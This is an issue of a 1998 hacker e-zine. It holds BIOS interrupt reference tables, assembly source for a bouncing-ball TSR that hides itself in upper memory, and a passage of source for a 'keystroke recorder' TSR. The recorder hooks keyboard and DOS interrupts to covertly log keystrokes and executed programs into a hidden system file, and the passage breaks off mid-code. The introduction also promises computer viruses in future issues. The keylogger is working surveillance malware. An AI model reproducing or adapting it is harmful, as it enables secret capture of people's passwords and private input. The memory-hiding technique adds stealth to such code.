Copy Link
Add to Bookmark
Report
Halt and Catch Fire 02
HCF Magazine - Issue 002 January 1998
+-------------------------------------+
| H A L T & C A T C H F I R E ! |
+-------------------------------------+
> Introduction <
I've been pretty busy at school lately with finals and other worthless crap
I've had to do, so this issue is coming out around mid-January instead of the
beginning of Januray like I had planned. Oh well. I have an extended essay
research project due in about a month, for which I'm going to have to write
some computer virii. These will probably appear in the next issue. Computer
virii are a lot of fun to play with, so I hope this will become a more common
topic in future issues.
If you have any questions, comments, suggestions, etc., or would like to
publish an article you've written, send your e-mail to phasm42@hotmail.com; I
usually check it every day. If you're on ICQ, my number is 6509420.
------------------------------------------------------------------------------
Table of Contents
-----------------
BIOS Video Services Summary...............................................#001
BIOS Disk Services Summary................................................#002
Keyboard And Clock Services Summary.......................................#003
Miscellaneous BIOS Services Summary.......................................#004
Bouncing ball v19.........................................................#005
Keystroke recorder v3.....................................................#006
Phantom File TSR..........................................................#007
Slow Writer...............................................................#008
Some thoughts on background processing....................................#009
------------------------------------------------------------------------------
BIOS Video Services Summary #001
---------------------------
> What is it? <
This is a quick reference of the more commonly used BIOS video services
provided through int 10h. It is not very detailed, but for those readers that
do not have a reference, this is a brief description of each service and how
to call them.
> Set Video Mode < Int 10/00
To call : AH = 00
AL = video mode
Returns : Nothing
Mode Colors Resolution Grph Resolution
------ ------ ---------- ---------------
0 Text 16 40 x 25
1 Text 16 40 x 25
2 Text 16 80 x 25
3 Text 16 80 x 25
4 Grph 4 40 x 25 320 x 200
5 Grph 4 40 x 25 320 x 200
6 Grph 2 80 x 25 640 x 200
7 Text Mono 80 x 25
D Grph 16 40 x 25 320 x 200
E Grph 16 80 x 25 640 x 200
F Grph Mono 80 x 25 640 x 350
10 Grph 16 80 x 25 640 x 350
11 Grph 2 80 x 30 640 x 480
12 Grph 16 80 x 30 640 x 480
13 Grph 256 40 x 25 320 x 200
> Set Cursor Type < Int 10/01
To call : AH = 01
CH = Starting scan line (bits 0-4)
CL = Ending scan line (bits 0-4)
Returns : Nothing
> Set Cursor Position < Int 10/02
To call : AH = 02
BH = Page number (0 in graphics modes)
DH = Row (0 based)
DL = Column (0 based)
Returns : Nothing
> Get Cursor Position and Type < Int 10/03
To call : AH = 03
BH = Page number (0 in graphics modes)
Returns : CH = Start scan line for cursor
CL = End scan line for cursor
DH = Row (0 based)
DL = Column (0 based)
> Select Display Page < Int 10/05
To call : AH = 05
AL = Page number
Returns : Nothing
> Scroll Window Up/Down < Int 10/06,07
To call : AH = 06 if up, 07 if down
AL = Number of lines to scroll
BH = Attribute to use for blanked area
CH = Row of upper left corner
CL = Column of upper left corner
DH = Row of lower right corner
DL = Column of lower right corner
Returns : Nothing
Note : If AL = 0 or AL is greater than the size of the window, then the area
will be blanked with the specified attribute.
> Get Character and Attribute < Int 10/08
To call : AH = 08
BH = Page number (0 in graphics modes)
Returns : AH = Attribute
AL = Character
Note : Character read from cursor position on specified page.
> Write Character and Attribute < Int 10/09
To call : AH = 09
AL = Character
BH = Page number (0 in graphics modes)
BL = Attribute for character
CX = Number of characters to write
Returns : Nothing
Note : Does not change cursor position.
> Write Character w/o Attribute < Int 10/0A
To call : AH = 0A
AL = Character
BH = Page number (0 in graphics modes)
BL = Color of character in graphics modes
CX = Number of characters to write
Returns : Nothing
Note : Does not change cursor position.
> Write Graphics Pixel < Int 10/0C
To call : AH = 0C
AL = Color value
BH = Page number
CX = Pixel's X coordinate
DX = Pixel's Y coordinate
Note : If bit 7 of AL is set, value is XORed onto screen (except in 256-color
screen modes).
> Read Graphics Pixel < Int 10/0D
To call : AH = 0D
BH = Page number
CX = Pixel's X coordinate
DX = Pixel's Y coordinate
Returns : AL = Color of pixel
> Teletype Output < Int 10/0E
To call : AH = 0E
AL = Character
BH = Page number (0 in graphics modes)
BL = Color of character in graphics modes
Returns : Nothing
Note : This function interprets the bell (07h), backspace (08h), line feed
(0Ah), and carriage return (0Dh) characters. Note that the tab (09h)
character is NOT interpreted.
> Get Current Display Mode < Int 10/0F
To call : AH = 0F
Returns : AH = Number of columns on screen
AL = Display mode
BH = Active display page
> Write String < Int 10/13
To call : AH = 13
AL = Write mode
Bit 0 : Update cursor after writing string
Bit 1 : String composed of alternating characters and
attributes
Bits 2-7 : Reserved (0)
BH = Page number (0 in graphics modes)
BL = Color of character if bit 1 of AL not set
CX = Number of characters to write
DH = Row at which to start writing
DL = Column at which to start writing
ES:BP -> String to write
------------------------------------------------------------------------------
BIOS Disk Services Summary #002
--------------------------
> What is it? <
Duh.
> Reset Disk System < Int 13/00
To call : AH = 00
DL = Physical drive number (bit 7 set for hard disks)
Returns : AH = Status
Carry flag clear is successful (AH = 00)
Carry flag set is error
Note : This service instructs the drive to pull the heads back to track 0.
Status codes (applies to all int 13h calls)
00 : Success
01 : Invalid function in AH or invalid parameter
02 : Address mark not found
03 : Disk write-protected
04 : Sector not found/Read error
05 : Reset failed
06 : Invalid disk change
07 : Drive parameter activity failed
08 : DMA overrun
09 : DMA boundary error (attempted DMA transfer across 64K boundary)
0C : Unsupported track or invalid media
10 : CRC error on read
20 : Controller failure
40 : Seek failed
80 : Timeout
> Get Status Of Last Operation < Int 13/01
To call : AH = 01
DL = Physical drive number (bit 7 set for hard disks)
Returns : AH = Status (See table in Int 13/00)
> Read From Disk/Write To Disk < Int 13/02,03
To call : AH = 02 for read, 03 for write
AL = Number of sectors
CH = Lower 8 bits of track number
CL = Bits 0-5 : Sector number (1 - 63)
Bits 6-7 : Upper 2 bits of track number
DH = Head number
DL = Physical drive number (bit 7 set for hard disks)
ES:BX -> Buffer
Returns : AH = Status (See table in Int 13/00)
AL = Number of sectors transferred
Carry flag clear is successful
Carry flag set if error
Notes : For some drives (especially floppy drives) transfers must not be done
across 64K boundaries, and large transfers cannot cross head and track
boundaries. Transfers which require switching the head or track must be
broken into a series of smaller transfers.
> Verify Disk Sectors < Int 13/04
To call : AH = 04
AL = Number of sectors
CH = Lower 8 bits of track number
CL = Bits 0-5 : Sector number (1 - 63)
Bits 6-7 : Upper 2 bits of track number
DH = Head number
DL = Physical drive number (bit 7 set for hard disks)
Returns : AH = Status (See table in Int 13/00)
AL = Number of sectors transferred
Carry flag clear is successful
Carry flag set if error
Notes : This service checks whether the CRC stored on the disk matches the
actual CRC of the data read from the disk. Verifies which require switching
the head or track must be broken into a series of smaller verifies.
> Format Floppy Disk Track < Int 13/05
To call : AH = 05
AL = Number of sectors to create
CH = Track
DH = Head number
DL = Drive number (Table shown is for floppy drives only)
ES:BX -> Table of how to format each sector
For every sector to be formatted,
Byte 0 : Track number
Byte 1 : Head number
Byte 2 : Sector number
Byte 3 : Sector size
00 = 128 bytes
01 = 256 bytes
02 = 512 bytes
03 = 1024 bytes
Returns : AH = Status (See table in Int 13/00)
Carry flag clear if successful
Carry flag set if error
Note : The sectors/track value is taken from the diskette parameter table
pointed to by int 1Eh.
> Get Drive Parameters < Int 13/08
To call : AH = 08
DL = Physical drive number (bit 7 set for hard disks)
Returns : Carry flag clear is successful
AH = Status (00)
BL = Drive type
01 : 360K
02 : 1.2M
03 : 720K
04 : 1.44M
CH = Lower 8 bits of tracks
CL = Bits 0-5 : Sectors/track
Bits 6-7 : Upper 2 bits of tracks
DH = Maximum head number
DL = Number of drives
ES:DI -> Drive parameter table (floppies only)
Carry flag set if error
AH = Status (See table in Int 13/00)
Drive Parameter Table. Same format as table pointed to by int 1E.
Offset Contents
------ --------
00 First specify byte
Bits 7-4 : Step rate
Bits 3-0 : Head unload time (0F = 240 ms)
01 Second specify byte
Bits 7-1 : Head load time (01 = 40 ms)
Bit 0 : Non-DMA mode (always 0)
02 (BYTE) delay until motor turned off (in clock ticks)
03 (BYTE) sector size
00 = 128 bytes
01 = 256 bytes
02 = 512 bytes
03 = 1024 bytes
04 (BYTE) sectors/track
05 (BYTE) gap length between sectors (2Ah for 5.25", 1Bh for 3.5")
06 (BYTE) data length (ignored if sector size is nonzero)
07 (BYTE) gap length when formatting (50h for 5.25", 6Ch for 3.5")
08 (BYTE) format filler byte (default = F6h)
09 (BYTE) head settle time in milliseconds
0A (BYTE) motor start time in 1/8 seconds
> Initialize Hard Disk Using Table < Int 13/09
To call : AH = 09
DL = Physical drive number (hard disks only)
Returns : AH = Status (See table in Int 13/00)
Carry flag clear is successful
Carry flag set if error
Note : If the physical drive is 80h, then the table is pointed at by int 41h.
If the physical drive is 81h, then the table is pointed at by int 46h.
> Hard Disk Seek to Cylinder < Int 13/0C
To call : AH = 0C
CH = Lower 8 bits of track number
CL = Bits 0-5 : Sector number (1 - 63)
Bits 6-7 : Upper 2 bits of track number
DH = Head number
DL = Physical drive number (hard drives only)
Returns : AH = Status (See table in Int 13/00)
Carry flag clear is successful
Carry flag set if error
> Hard Disk Reset/Check if Ready/Recalibrate < Int 13/0D,10,11
To call : AH = 0D if resetting
10 if checking if ready
11 if recalibrating
DL = Physical drive number (hard drives only)
Returns : AH = Status (See table in Int 13/00)
Carry flag clear is successful
Carry flag set if error
> Hard Disk Controller RAM/Drive/Internal Diagnostic < Int 13/12,13,14
To call : AH = 12 if controller RAM diagnostics
13 if drive diagnostics
14 if internal controller diagnostics
DL = Physical drive number (hard drives only)
Returns : AH = Status (See table in Int 13/00)
AL = 00
Carry flag clear is successful
Carry flag set if error
> Get Disk Type < Int 13/15
To call : AH = 15
DL = Physical drive number (hard drives only)
Returns : Carry flag clear if successful
AH = Type code
00 : Drive does not exist
01 : Floppy without change-line support
02 : Floppy with change-line support
03 : Hard disk
CX:DX = DWORD number of sectors
Carry flag set if error
AH = Status (See table in Int 13/00)
> Detect Disk Change < Int 13/16
To call : AH = 16
DL = Physical drive number (floppies only)
Returns : Carry flag clear if change line inactive
AH = 00 (no disk change)
Carry flag set if change line active
AH = Status
01 : Invalid command
06 : Change line active or unsupported
80 : Drive not ready or non-existent
> Set Floppy Disk Type For Formatting < Int 13/17
To call : AH = 17
AL = Type
01 = 320K/360K disk in 360K drive
02 = 320K/360K disk in 1.2M drive
03 = 1.2M disk in 1.2M drive
04 = 720K disk in 720K or 1.44M drive
DL = Physical drive number (floppies only)
Returns : AH = Status (See table in Int 13/00)
Carry flag clear if successful
Carry flag set if error
> Set Media Type For Format < Int 13/18
To call : AH = 18
CH = Lower 8 bits of maximum track number (total - 1)
CL = Bits 0-5 : Sectors/track (1 - 63)
Bits 6-7 : Upper 2 bits of maximum track number
DH = Head number
DL = Physical drive number (bit 7 set for hard disks)
Returns : AH = Status (00, 01, 0C, 80; See table in Int 13/00)
ES:DI -> Diskette parameter table (See table in Int 13/18)
------------------------------------------------------------------------------
Keyboard And Clock Services Summary #003
-----------------------------------
> Get Non-extended Keystroke < Int 16/00
To call : AH = 00
Returns : AH = BIOS scan code
AL = Character (00 if special)
Note : This function returns non-extended keys.
> Check For Non-extended Keystroke < Int 16/01
To call : AH = 01
Returns : Zero flag clear is keystroke ready
AH = BIOS scan code
AL = Character (00 if special)
Zero flag set if no keystroke ready
Note : Even though keystroke information is returned, the key is not removed
from the keyboard buffer.
> Get Non-extended Shift Flags < Int 16/02
To call : AH = 02
Returns : AL = Keyboard flags located at 0040:0017
Bit 7 : Insert active
Bit 6 : Caps Lock enabled
Bit 5 : Num Lock enabled
Bit 4 : Scroll Lock enabled
Bit 3 : Alt key depressed
Bit 2 : Ctrl key depressed
Bit 1 : Left shift key depressed
Bit 0 : Right shift key depressed
Note : AH often destroyed upon return
> Set Typematic Rate And Delay < Int 16/03
To call : AH = 03
AL = Subfunction (05)
BH = Delay
0 = 1/4 second
1 = 1/2 second
2 = 3/4 second
3 = 1 second
BL = Rate (00-1F; 00 = 30/sec, 0C = 10/sec, 1F = 2/sec)
Returns : Nothing
Note : AH often destroyed upon return
> Store Keystroke in Keyboard Buffer < Int 16/05
To call : AH = 05
CH = BIOS scan code
CL = Character
Returns : AL = Status; 00 if successful, 01 if buffer full
Note : AH often destroyed upon return
> Get Extended Keystroke < Int 16/10
To call : AH = 10
Returns : AH = BIOS scan code
AL = Character (00 if special)
> Check For Extended Keystroke < Int 16/11
To call : AH = 11
Returns : Zero flag clear is keystroke ready
AH = BIOS scan code
AL = Character (00 if special)
Zero flag set if no keystroke ready
Note : Even though keystroke information is returned, the key is not removed
from the keyboard buffer.
> Get Extended Shift Flags < Int 16/12
To call : AH = 12
Returns : AL = Keyboard flags located at 0040:0017
Bit 7 : Insert active
Bit 6 : Caps Lock enabled
Bit 5 : Num Lock enabled
Bit 4 : Scroll Lock enabled
Bit 3 : Alt key depressed (either one)
Bit 2 : Ctrl key depressed (either one)
Bit 1 : Left shift key depressed
Bit 0 : Right shift key depressed
AH = Keyboard flags located at 0040:0018
Bit 7 : Insert key depressed
Bit 6 : Caps Lock key depressed
Bit 5 : Num Lock key depressed
Bit 4 : Scroll Lock key depressed
Bit 3 : Pause active
Bit 2 : SysReq key depressed
Bit 1 : Left Alt key depressed
Bit 0 : Left Ctrl key depressed
> Get 122-Key Keystroke < Int 16/20
To call : AH = 20
Returns : AH = BIOS scan code
AL = Character (00 if special)
> Check For 122-Key Keystroke < Int 16/21
To call : AH = 21
Returns : Zero flag clear is keystroke ready
AH = BIOS scan code
AL = Character (00 if special)
Zero flag set if no keystroke ready
Note : Even though keystroke information is returned, the key is not removed
from the keyboard buffer.
> Get 122-Key Shift Flags < Int 16/22
To call : AH = 22
Returns : AL = Keyboard flags at 0040:0017 (See table in Int 16/12)
AH = Keyboard flags at 0040:0018 (See table in Int 16/12)
> Get Timer Tick Count < Int 1A/00
To call : AH = 00
Returns : CX:DX = DWORD timer tick count (1 tick = 0.05492544718697
seconds; 18.20649719238 ticks/second. This timer tick
is based on a 1234DDh Hz timer, which is usually set
to generate an interrupt every 65,536 cycles.)
AL = Midnight flag; nonzero if midnight has passed
> Set Timer Tick Count < Int 1A/01
To call : AH = 01
CX:DX = DWORD timer tick count (see Int 1A/00 for details)
Returns : Nothing
Note : Midnight flag is reset by this function.
> Get Real-Time Clock Time < Int 1A/02
To call : AH = 02
Returns : BX = Number of days since January 1, 1980 (when time began...)
CH = Hours (BCD)
CL = Minutes (BCD)
DH = Seconds (BCD)
DL = 1/100 seconds
> Set Real-Time Clock Time < Int 1A/03
To call : AH = 03
CH = Hour (BCD)
CL = Minutes (BCD)
DH = Seconds (BCD)
DL = Daylight savings (00 = standard, 01 = daylight savings)
Returns : Nothing
> Get Real-Time Clock Date < Int 1A/04
To call : AH = 04
Returns : Carry flag clear if successful
CH = Century (BCD)
CL = Year (BCD)
DH = Month (BCD)
DL = Day (BCD)
Carry flag set if error
> Set Real-Time Clock Date < Int 1A/05
To call : AH = 05
CH = Century (BCD)
CL = Year (BCD)
DH = Month (BCD)
DL = Day (BCD)
Returns : Nothing
------------------------------------------------------------------------------
Miscellaneous BIOS Services Summary #004
-----------------------------------
> Get Equipment List < Int 11
To call : Nothing
Returns : AX = BIOS equipment list
BIOS Equipment List WORD
Bits Contents
----- --------
15-14 Number of parallel ports installed
13-12 Unused
11-9 Number of serial ports installed
8 Unused
7-6 Number of floppies installed - 1 (if bit 0 set; otherwise unused)
5-4 Initial video mode
00 : EGA, VGA, or PGA
01 : 40x25 color
10 : 80x25 color
11 : 80x25 monochrome
3 Unused
2 Pointing device installed
1 80x87 coprocessor installed
0 Floppy disk drive(s) installed (number stored in bits 7-6)
> Get Memory Size < Int 12
To call : Nothing
Returns : AX = Number of kilobytes of contiguous memory starting from
absolute address 00000h. This is stored at 0040:0013.
> Initialize COM Port < Int 14/00
To call : AH = 00
AL = Initialization parameter
Bits 7-5 = Baud rate
000 : 110 baud
001 : 150 baud
010 : 300 baud
011 : 600 baud
100 : 1200 baud
101 : 2400 baud
110 : 4800 baud
111 : 9600 baud
Bits 4-3 = Parity
00, 10 : None
01 : Odd
11 : Even
Bit 2 : Stop bits (0 = 1 bit, 1 = 2 bits)
Bits 1-0 : Data bits
00 : 5 bits
01 : 6 bits
10 : 7 bits
11 : 8 bits
DX = COM port number
0 : COM1
1 : COM2
2 : COM3
3 : COM4
Returns : AH = Port status
AL = Modem status
Port Status
Bit Use
--- ---
7 Timeout
6 Transmit shift register empty
5 Transmit holding register empty
4 Break detected
3 Framing error
2 Parity error
1 Overrun error
0 Receive data ready
Modem status
Bit Use
--- ---
7 Carrier detect
6 Ring indicator
5 Data set ready
4 Clear to send
3 Change in carrier detect status
2 Trailing edge of ring indicator
1 Change in data set ready status
0 Change in clear to send status
> Write Character To COM Port < Int 14/01
To call : AH = 01
AL = Character
DX = COM port
0 : COM1
1 : COM2
2 : COM3
3 : COM4
Returns : AH = Status; bit 7 indicates error
Bit 7 clear : No error
Bit 7 set : Error; bits 6-0 = Port status (See table in
Int 14/00)
Note : Port must be initialized before calling this service
> Read Character From COM Port < Int 14/02
To call : AH = 02
DX = COM port
0 : COM1
1 : COM2
2 : COM3
3 : COM4
Returns : AH = Status; bit 7 indicates error
Bit 7 clear : No error
AL = Character
Bit 7 set : Error; bits 6-0 = Port status (See table in
Int 14/00)
Note : Port must be initialized before calling this service
> Get COM Port Status < Int 14/03
To call : AH = 03
DX = COM port
0 : COM1
1 : COM2
2 : COM3
3 : COM4
Returns : AH = Port status (See table in Int 14/00)
AL = Modem status (See table in Int 14/00)
> Extended Initialize COM Port < Int 14/04
To call : AH = 04
AL = Break setting
00 : Break
01 : No break
BH = Parity
00 : No parity
01 : Odd parity
02 : Even parity
03 : Stick parity odd
04 : Stick parity even
BL = Number of stop bits
00 : One stop bit
01 : Two stop bits (1.5 if data length is 5 bits)
CH = Data length
00 : 5 bits
01 : 6 bits
02 : 7 bits
03 : 8 bits
CL = Transmission rate (bps)
00 : 110 bps
01 : 150 bps
02 : 300 bps
03 : 600 bps
04 : 1200 bps
05 : 2400 bps
06 : 4800 bps
07 : 9600 bps
08 : 19200 bps
DX = COM port
0 : COM1
1 : COM2
2 : COM3
3 : COM4
Returns : AH = Port status (See table in Int 14/00)
AL = Modem status (See table in Int 14/00)
> Write Character To Printer < Int 17/00
To call : AH = 00
AL = Character
DX = Printer number (0 = LPT1, 1 = LPT2, 2 = LPT3)
Returns : AH = Printer status
Printer status
Bits Use
---- ---
7 Not busy
6 Acknowledge
5 Out of paper
4 Printer selected
3 I/O error
2, 1 Unused
0 Timeout
> Initialize Printer Port < Int 17/01
To call : AH = 01
DX = Printer number (0 = LPT1, 1 = LPT2, 2 = LPT3)
Returns : AH = Printer status (See table in Int 17/00)
> Get Printer Status < Int 17/02
To call : AH = 02
DX = Printer number (0 = LPT1, 1 = LPT2, 2 = LPT3)
Returns : AH = Printer status (See table in Int 17/00)
> Control-Break Handler Address < Int 1B
This routine is called when the keyboard handler detects a Ctrl-Break.
Normally, this vector points to a routine which sets the DOS Ctrl-C flag.
> Timer Tick Handler < Int 1C
This routine is normally called by the hardware timer tick handler (Int 08).
Programs that want to be called periodically usually hook this interrupt.
------------------------------------------------------------------------------
Bouncing ball v19 #005
-----------------
> Version 19?! <
This is one of the first TSRs (and assembly program, for that matter) that I
wrote. Of the versions I kept, this is version 19. Whenever I write a new
TSR engine, I attach it to this program to test it out. This version writes
directly to screen memory. Version 18 uses BIOS functions, but it's slower.
Version 17 is two bytes longer than this one. While adding the comments for
this program, I noticed that in the GetRand procedure, I had done a 'mov dx,
cs' instead of a 'mov dx, cx'. I went back, and noticed that I had made this
same mistake since version 10. Because it was used for random numbers, and
not very often, the mistake escaped for a long time. Anyway, here's the
program:
<- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - ->
.8086
code segment byte public
assume cs:code, ds:code
org 100h
start:
jmp initialize
nop
nop
tag db 'phasm 12/97' ;My tag
thedata:
textseg dw 0 ;Segment for text video memory
coordinates dw 0 ;Coordinates of the ball
vectors dw 0 ;Direction of the ball
color db 0 ;Color of the ball
oldint dw 0, 0 ;Old int 1Ch vector
tsr:
push ax
push bx
push cx
push dx
push ds
push es
push cs
pop ds
xor ax, ax
mov es, ax
mov al, es:[449h] ;Get the screen mode
cmp al, 3
jbe okaymode1 ;If 0-3, then okay mode
cmp al, 7
je okaymode2 ;If 7, then okay mode
jmp exittsr ;Otherwise, abort
okaymode1:
mov [textseg], 0b800h ;Modes 0-3 : Segment B800h
jmp short continue1
okaymode2:
mov [textseg], 0b000h ;Mode 7 : Segment B000h
continue1:
mov ax, es:[44eh] ;Get the offset of the current page
shr ax, 4 ;Convert into a segment #
add [textseg], ax ;Add it to the video segment
mov dl, es:[484h] ;Maximum row number (rows - 1)
mov dh, es:[44ah] ;Columns on screen
push dx ;Save
shr dh, 1 ;Divide columns by 2 (ball's columns)
dec dh ;Decrement to find max
mov bx, [coordinates] ;Get coordinates of ball
mov cx, [vectors] ;Get ball's vector
or cl, cl ;Is CL = 0?
jnz down ;If not, goto down
dec bl ;Decrement ball's row (move up)
cmp bl, -1 ;Is the row = -1?
jne checkotherbound1 ;If not, check if out of bounds
mov bl, 1 ;Set row = 1
mov cl, 1 ;Set ball's direction to down
checkotherbound1:
cmp bl, dl
jbe updatecolumn ;If new row <= max row, check column
call getnewstuff ;Get new position and vector for ball
mov bx, [coordinates] ;Save coordinates
mov cx, [vectors] ;Save vectors
jmp short updatedisplay ;Update the display
down:
inc bl ;Increment ball's row (move down)
cmp bl, dl ;Is the row <= last row?
jbe updatecolumn ;If so, go check the column
sub bl, 2 ;Bounce the ball
xor cl, cl ;Set the vertical direction vector
cmp bl, dl ;Is the row <= last row?
jbe updatecolumn ;If so, go check the column
call getnewstuff ;The # rows on screen has changed,
;so new coordinates and vectors must
;be generated
mov bx, [coordinates] ;Save the coordinates
mov cx, [vectors] ;Save the vectors
jmp short updatedisplay ;Update the display
updatecolumn:
or ch, ch ;Is horizontal vector = 0?
jnz right ;If not, move right
dec bh ;Decrement the column
cmp bh, -1 ;Is the column = -1
jne checkotherbound2 ;If not, check the other bound
mov bh, 1 ;Set the column to 1
mov ch, 1 ;Bounce right
checkotherbound2:
cmp bh, dh ;Is the column <= max column?
jbe updatedone ;Is so, check if color needs to change
call getnewstuff ;Get new data for ball
mov bx, [coordinates] ;Save coordinates
mov cx, [vectors] ;Save vectors
jmp short updatedisplay ;Update the display
right:
inc bh ;Increment the column
cmp bh, dh ;Is the column <= max column?
jbe updatedone ;If so, check if color needs to change
sub bh, 2 ;Update ball's position
xor ch, ch ;Reverse direction (left)
cmp bh, dh ;Is the column <= max column?
jbe updatedone ;If so, check if color needs to change
call getnewstuff ;Get new ball data
mov bx, [coordinates] ;Save coordinates
mov cx, [vectors] ;Save vectors
jmp short updatedisplay ;Update the display
updatedone:
push bx
cmp cx, [vectors] ;Does the ball have the same vectors?
je preupdatedisplay ;If yes, then update the display
mov bx, 0fh
call GetRand ;Get random number 0-14
inc dl ;Shift range to 1-15
mov [color], dl ;Save new color
preupdatedisplay:
pop bx
updatedisplay:
mov ax, [textseg]
mov es, ax ;Set ES to segment of video memory
pop dx ;Restore screen's # columns
push bx ;Save new ball coordinates
mov ax, [coordinates] ;Get old coordinates
mul dh ;Get offset in chars to ball's old row
mov bx, ax
mov ax, [coordinates]
mov al, ah
xor ah, ah
shl ax, 1 ;Get offset in chars to ball's old col
add bx, ax ;Get offset in chars to old ball
shl bx, 1 ;Translate into address
mov word ptr es:[bx], 720h ;Overwrite with space
mov word ptr es:[bx + 2], 720h
pop bx ;Restore new coordinates
mov [coordinates], bx ;Save new coordinates
mov [vectors], cx ;Save new vectors
mov cl, bh ;Get column
xor ch, ch
shl cx, 1 ;Translate into characters
mov al, bl
mul dh ;Translate row into characters
mov bx, ax
add bx, cx ;Get offset in characters to new ball
shl bx, 1 ;Translate into address
mov ah, [color] ;Get ball color
mov al, 0dbh ;Solid character
mov es:[bx], ax ;Display
mov es:[bx + 2], ax
exittsr:
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[oldint] ;Outta here!
getnewstuff proc near
mov bl, es:[484h]
xor bh, bh ;Number of rows
inc bl
call GetRand ;Get random number 0-24
push dx ;Store number
mov bx, es:[44ah]
shr bx, 1 ;Number of columns
call GetRand ;Get random number 0-39
push dx ;Store number
mov bx, 2 ;Direction
call GetRand ;Get random number 0-1
push dx ;Store number
call GetRand ;Get another
mov cl, dl ;Column direction flag
pop dx ;Restore number
mov ch, dl ;Row direction flag
pop dx ;Restore number
mov bh, dl ;Column number
pop dx
mov bl, dl ;Row number
mov [coordinates], bx
mov [vectors], cx
mov bx, 0fh
call GetRand
inc dl
mov [color], dl
getnewstuff endp
GetRand PROC NEAR
push ax
push cx
xor ah, ah ;Set function 0
int 1ah ;Get number of ticks
mov ax, dx
mov dx, cx
xor ax, dx
xor dx, dx
div bx ;Divide
pop cx
pop ax
retn
GetRand ENDP
initialize:
push es
xor ax, ax
mov es, ax
call getnewstuff
pop es
cld
push ds
xor ax, ax
mov ds, ax
mov si, 1ch * 4
mov di, offset oldint
cli
movsw
movsw
sti
pop ds
;let's see if we can load into upper memory...
mov cx, offset initialize - offset thedata
shr cx, 1
shr cx, 1
shr cx, 1
shr cx, 1
inc cx
mov ax, cs
dec ax
mov es, ax
mov ds:[100h], es
keepgoing1:
mov ax, es:[3]
mov bx, es
add ax, bx
inc ax
mov es, ax
cmp byte ptr es:[0], 'M'
je valid1
cmp byte ptr es:[0], 'Z'
jne failed
mov ds:[100h], es
valid1:
cmp ax, 0a000h
jb keepgoing1
keepgoing2:
mov al, es:[0]
cmp al, 'M'
je donevalidcheck
cmp al, 'Z'
je checkitout
failed:
mov es, ds:[100h]
jmp short goresident
failed2:
mov es, ds:[100h]
mov byte ptr ds:[100h], 'M'
mov word ptr ds:[101h], 8
mov ax, es
add ax, es:[3]
inc ax
mov ds, ax
mov bx, ds:[3]
push cs
pop ds
add bx, cx
mov ds:[103h], bx
sub es:[3], cx
inc cx
jmp short goresident2
donevalidcheck:
mov ax, es
add ax, es:[3]
inc ax
mov es, ax
jmp short keepgoing2
checkitout:
mov ax, es:[1]
test ax, ax
jnz failed2
mov ax, es:[3]
cmp ax, cx
jb failed2
;we'll load into memory and hide
goresident:
mov byte ptr ds:[100h], 'H'
mov word ptr ds:[101h], 7965h ; 'ey' in memory
mov word ptr ds:[103h], 2021h ; '! ' in memory
inc cx
sub es:[3], cx
goresident2:
mov ax, es
add ax, es:[3]
inc ax
mov es, ax
mov si, 100h
xor di, di
shl cx, 1
shl cx, 1
shl cx, 1
rep movsw
sub ax, 10h
xor bx, bx
mov ds, bx
cli
mov ds:[1ch * 4], offset tsr
mov ds:[1ch * 4 + 2], ax
;terminate
int 20h
code ends
end start
<- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - ->
------------------------------------------------------------------------------
Keystroke recorder v3 #006
---------------------
> What it does and how it works <
This TSR records keystrokes from int 16h, and also any files executed via int
21h/4Bh. It places the keystrokes and the name and time/date of all EXEC
requests in the hidden system file 'C:\IO.DRV'. It waits until the buffer is
full or some disk access is being done before dumping the contents of its
buffer to the log file. Here is the source code. . .
<- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - ->
.8086
code segment byte public
assume cs:code, ds:code
org 100h
maxsize = 256
start:
jmp initialize
nop
nop
tag db 'phasm 11/97' ;My tag :-)
thedata:
oldint16 dw 0, 0 ;Old int 16h
oldint20 dw 0, 0 ;Old int 20h
oldint21 dw 0, 0 ;Old int 21h
buffer db maxsize dup (0) ;The buffer
buffersize dw 0 ;Amount of data in buffer
dumpflag db 0 ;Flag signalling dump request (buffer
; is full)
int21flag db 0 ;Flag signalling int 21h in progress
filename db 'C:\IO.DRV', 0 ;Name of dump file
taghead db '<*** Date/Time: ' ;This data is put in the log file when
themonth db 'XX/' ;A file is executed
theday db 'XX/'
theyear db 'XX '
thehour db 'XX:'
theminute db 'XX:'
thesecond db 'XX.'
thecentisecond db 'XX '
tagtail db ' ***>'
endtag:
tsr16: ;used to record keys
pushf
test ah, ah
jz hook16 ;Hook function 0
cmp ah, 10h
je hook16 ;Hook function 10h
cmp ah, 20h
je hook16 ;Hook function 20h
exit16:
popf
jmp dword ptr cs:[oldint16] ;No hook; continue int 16h
hook16:
cmp byte ptr cs:[dumpflag], 1 ;If buffer full. . .
je exit16 ;Don't log
call dword ptr cs:[oldint16] ;Do original int 16h
pushf
push bp
mov bp, sp
push ax
mov al, [bp + 9]
and al, 00000010b
or [bp + 3], al
mov ax, [bp + 2]
mov [bp + 8], ax ;This code restores the original interrupt
pop ax ;Enable flag's status
pop bp
popf
push ax
push bx
push si
mov bx, cs:[buffersize]
mov si, offset buffer
mov cs:[bx + si], al ;Save the key
inc word ptr cs:[buffersize]
test al, al ;If not a special key,
jnz testmax ;skip the next part
inc si
mov cs:[bx + si], ah ;Store scan code
inc word ptr cs:[buffersize]
testmax:
cmp word ptr cs:[buffersize], maxsize
jne preparetoexit ;If buffer not at max, exit
cmp byte ptr cs:[int21flag], 1 ;If int 21h in progress,
je setdumpflag ;set the dump flag
call bufferdump ;Dump the buffer
jmp short preparetoexit
setdumpflag:
mov byte ptr cs:[dumpflag], 1 ;Request a buffer dump
preparetoexit:
pop si
pop bx
pop ax
iret ;Exit to caller
tsr20: ;Used to trigger buffer dump
call bufferdump ;Dump buffer
jmp dword ptr cs:[oldint20] ;Continue original handler
tsr21: ;Used to trigger buffer dump and record file executions
pushf
mov byte ptr cs:[int21flag], 1 ;Signal int 21h in progress
cmp byte ptr cs:[dumpflag], 1 ;Is a dump requested?
jne checksubfunctions ;If not, check subfunctions
call bufferdump ;Dump buffer
cmp ah, 4bh ;Is caller requesting EXEC?
jne exit21 ;If not, exit
call recordexec ;If so, record name
jmp short exit21 ;Exit
checksubfunctions:
test ah, ah
jz prepdump ;00 : Terminate program
cmp ah, 0fh
je prepdump ;0F : Open file (FCB)
cmp ah, 13h
jb exit21
cmp ah, 16h
